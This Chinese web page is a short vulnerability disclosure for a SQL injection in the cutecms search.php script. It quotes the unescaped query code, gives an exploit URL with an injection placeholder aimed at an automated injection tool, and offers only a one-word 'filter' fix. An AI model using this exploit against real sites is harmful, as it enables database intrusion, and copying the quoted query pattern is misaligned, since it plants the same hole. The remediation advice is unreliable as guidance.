网站地图    收藏   

主页 > 后端 > 网站安全 >

cutecms注入及修复 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] search.php略。。$c = strval($_GET[#39;c#39;]);$s = strval(trim($_GET[#39;s#39;]));$hit = intval($hit);略if($c) { $bullet = img src=#39;.DOMAINPATH.template/.$GLOBALS[#39;cfg......

search.php
 
略。。
 $c = strval($_GET['c']);
 $s = strval(trim($_GET['s']));
 $hit = intval($hit);

 
if($c) {
 
         $bullet = "<img src='".DOMAINPATH."template/".$GLOBALS['cfg']['template']."/images/nav_bullet.gif' width=\"4\" height=\"7\" alt=\"bullet\" />";
 
         $channelPath = $ch->getChannelPath($channelArr); //栏目页导航路径
 
         if($c==15) { //都是引号惹的祸。。没引号就是蛋疼
                 $channelType = 100;
                 $searchTable = 'product';
                 $condition = " AND (name LIKE '%$s%' OR des LIKE '%$s%')";
         }
         else if($c==5) {
                 $channelType = 40;
                 $searchTable = 'channel_content';
                 $condition = " AND (title LIKE '%$s%' OR des LIKE '%$s%')";
         }
 
         $ch->getSubChannelIdArr($c, $channelType);
         $ch->channelSubIdArr[] = $c; //赋值
        
         $channelSubIds = @join(",", $ch->channelSubIdArr);
 
         $sql = "SELECT COUNT(*) FROM ".PREFIX.$searchTable." WHERE pid IN ($channelSubIds)"; //this...
         if($s) {
                // $condition .= " AND (title LIKE '%$s%' OR des LIKE '%$s%')";
                 $sql .= $condition;
         }
 
         $total = $db->getOne($sql);
 
exp http://www.2cto.com /search.php?c=15)%20and%201=%Inject_Here%%20and%201=(select%201
丢大萝卜里就行了
 
官方测试。。(应为我本机没安装成。。) 
 
 

From:http://t00ls.net/thread-20189-1-1.html
 
 www.2cto.com修复:
进行过滤
--------------------------------------------------------------------------------
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论